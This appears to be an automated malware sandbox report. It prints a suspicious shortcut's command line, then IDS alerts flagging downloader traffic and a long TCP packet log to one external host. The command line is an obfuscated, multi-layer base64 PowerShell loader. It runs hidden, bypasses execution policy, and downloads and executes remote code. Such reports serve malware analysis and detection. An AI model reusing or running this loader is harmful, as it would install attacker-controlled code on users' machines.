Command Line Argument:	/v /k "pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Icon location:	%SystemRoot%\System32\imageres.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T12:29:18.596905+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49738	172.67.128.139	443	TCP
2024-12-11T12:29:20.783200+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49740	172.67.128.139	443	TCP
2024-12-11T12:29:22.977659+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49742	172.67.128.139	443	TCP
2024-12-11T12:29:45.058020+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49756	172.67.128.139	443	TCP
2024-12-11T12:30:38.611393+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49763	172.67.128.139	443	TCP
2024-12-11T12:31:28.223459+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49768	172.67.128.139	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:29:15.326869965 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:15.326894999 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:15.327065945 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:15.334022999 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:15.334031105 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:15.575148106 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:15.575330973 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:15.578989983 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:15.579000950 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:15.579328060 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:15.583132982 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:15.626208067 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.206820011 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.206868887 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.206897974 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.207314014 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.207362890 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.207410097 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.207438946 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:16.207463980 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.207474947 CET	443	49737	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:16.207632065 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:16.332680941 CET	49737	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:17.534872055 CET	49738	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:17.534895897 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:17.535093069 CET	49738	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:17.535356045 CET	49738	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:17.535361052 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:17.770334959 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:17.771559954 CET	49738	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:17.771567106 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.596894026 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.596918106 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.596935034 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.597027063 CET	443	49738	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.597049952 CET	49738	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.597198009 CET	49738	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.613528967 CET	49738	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.719535112 CET	49739	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.719552040 CET	443	49739	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.719755888 CET	49739	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.720109940 CET	49739	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.720118999 CET	443	49739	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.956545115 CET	443	49739	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.961272001 CET	49739	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.961312056 CET	443	49739	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:18.961580992 CET	49739	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:18.961608887 CET	443	49739	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:19.886765003 CET	443	49739	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:19.886885881 CET	443	49739	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:19.887075901 CET	49739	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:19.887295961 CET	49739	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:19.922183037 CET	49740	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:19.922219038 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:19.922405005 CET	49740	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:19.922630072 CET	49740	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:19.922645092 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.156183004 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.157454014 CET	49740	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:20.157460928 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.783174992 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.783273935 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.783320904 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.783446074 CET	443	49740	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.783466101 CET	49740	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:20.783757925 CET	49740	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:20.795022964 CET	49740	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:20.816442013 CET	49741	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:20.816490889 CET	443	49741	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:20.816737890 CET	49741	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:20.816910982 CET	49741	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:20.816939116 CET	443	49741	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:21.051525116 CET	443	49741	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:21.052891970 CET	49741	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:21.052905083 CET	443	49741	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:21.053169012 CET	49741	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:21.053179026 CET	443	49741	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:21.868463039 CET	443	49741	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:21.868544102 CET	443	49741	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:21.869174957 CET	49741	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:21.869461060 CET	49741	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:21.886490107 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:21.886533976 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:21.886739016 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:21.886987925 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:21.887015104 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.122631073 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.124028921 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:22.124047995 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.977638960 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.977694035 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.977734089 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.977788925 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.977886915 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:22.977909088 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:22.978002071 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.022238016 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.220323086 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.220566034 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.220772982 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.220791101 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.220899105 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.220932961 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.221057892 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.221069098 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.221239090 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.221281052 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.221292019 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.221426964 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.468462944 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.468658924 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.468899012 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.468919992 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.468997002 CET	443	49742	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:23.469181061 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:23.484142065 CET	49742	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.005352020 CET	49743	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.005371094 CET	443	49743	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.005563021 CET	49743	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.005840063 CET	49743	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.005847931 CET	443	49743	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.239902973 CET	443	49743	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.241324902 CET	49743	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.241337061 CET	443	49743	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.241683006 CET	49743	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.241703033 CET	443	49743	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.852735043 CET	443	49743	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.852803946 CET	443	49743	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.852998972 CET	49743	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.853326082 CET	49743	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.938101053 CET	49744	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.938127995 CET	443	49744	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:24.938477993 CET	49744	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.938627005 CET	49744	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:24.938640118 CET	443	49744	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.172040939 CET	443	49744	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.172853947 CET	49744	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.172863960 CET	443	49744	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.173109055 CET	49744	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.173116922 CET	443	49744	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.687813997 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.687850952 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.688111067 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.690752983 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.690767050 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.746347904 CET	443	49744	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.746411085 CET	443	49744	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.746589899 CET	49744	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.746870041 CET	49744	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.782433033 CET	49746	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.782466888 CET	443	49746	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.782835960 CET	49746	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.782913923 CET	49746	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.782922983 CET	443	49746	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.927767992 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.927989960 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.929318905 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.929332972 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.929703951 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:25.932194948 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:25.974248886 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.016933918 CET	443	49746	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.017874002 CET	49746	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:26.017889023 CET	443	49746	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.018070936 CET	49746	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:26.018076897 CET	443	49746	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.517270088 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.517366886 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.517422915 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.517456055 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.517579079 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:26.517597914 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.517663002 CET	443	49745	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.517811060 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:26.527901888 CET	49745	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:26.602761984 CET	443	49746	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.602823973 CET	443	49746	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:26.603091002 CET	49746	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:26.603192091 CET	49746	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:29.895713091 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:29.895749092 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:29.896346092 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:29.904341936 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:29.904350996 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.138295889 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.138540983 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:30.140765905 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:30.140774012 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.140966892 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.144994020 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:30.186253071 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.761588097 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.761626005 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.761651993 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.761677980 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.761698008 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.761812925 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:30.761822939 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.761877060 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:30.761977911 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:30.762361050 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.807816982 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:30.807821989 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:30.854686022 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.002854109 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.002888918 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.002917051 CET	443	49750	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.003068924 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.017079115 CET	49750	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.140904903 CET	49752	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.140925884 CET	443	49752	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.141057014 CET	49752	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.141377926 CET	49752	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.141381979 CET	443	49752	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.375683069 CET	443	49752	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.376832008 CET	49752	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.376840115 CET	443	49752	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.377054930 CET	49752	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.377059937 CET	443	49752	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.980642080 CET	443	49752	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.980734110 CET	443	49752	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:31.980931044 CET	49752	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:31.981194973 CET	49752	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:43.356527090 CET	49755	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:43.356549978 CET	443	49755	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:43.356746912 CET	49755	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:43.356890917 CET	49755	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:43.356899977 CET	443	49755	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:43.589139938 CET	443	49755	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:43.590377092 CET	49755	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:43.590387106 CET	443	49755	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:43.590610981 CET	49755	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:43.590617895 CET	443	49755	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:44.178885937 CET	443	49755	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:44.178967953 CET	443	49755	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:44.179199934 CET	49755	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:44.179356098 CET	49755	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:44.218743086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:44.218760967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:44.218960047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:44.219341040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:44.219350100 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:44.452192068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:44.453696966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:44.453708887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.057980061 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.058022022 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.058044910 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.058096886 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.058243990 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.058254004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.058283091 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.058319092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.058434963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.058438063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.101443052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.296407938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.296694994 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.296863079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.296889067 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.297126055 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.297141075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.297291994 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.297456980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.297462940 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.297566891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.297650099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.297751904 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.297755003 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.298098087 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.531630993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.531929016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.532111883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.532116890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.532428026 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.532461882 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.532625914 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.532659054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.532664061 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.532764912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.532764912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.532910109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.533158064 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.533173084 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.533334970 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.533539057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.533543110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.585745096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.585751057 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.632646084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:45.768933058 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:45.769232988 CET	443	49756	172.67.128.139	192.168.11.30
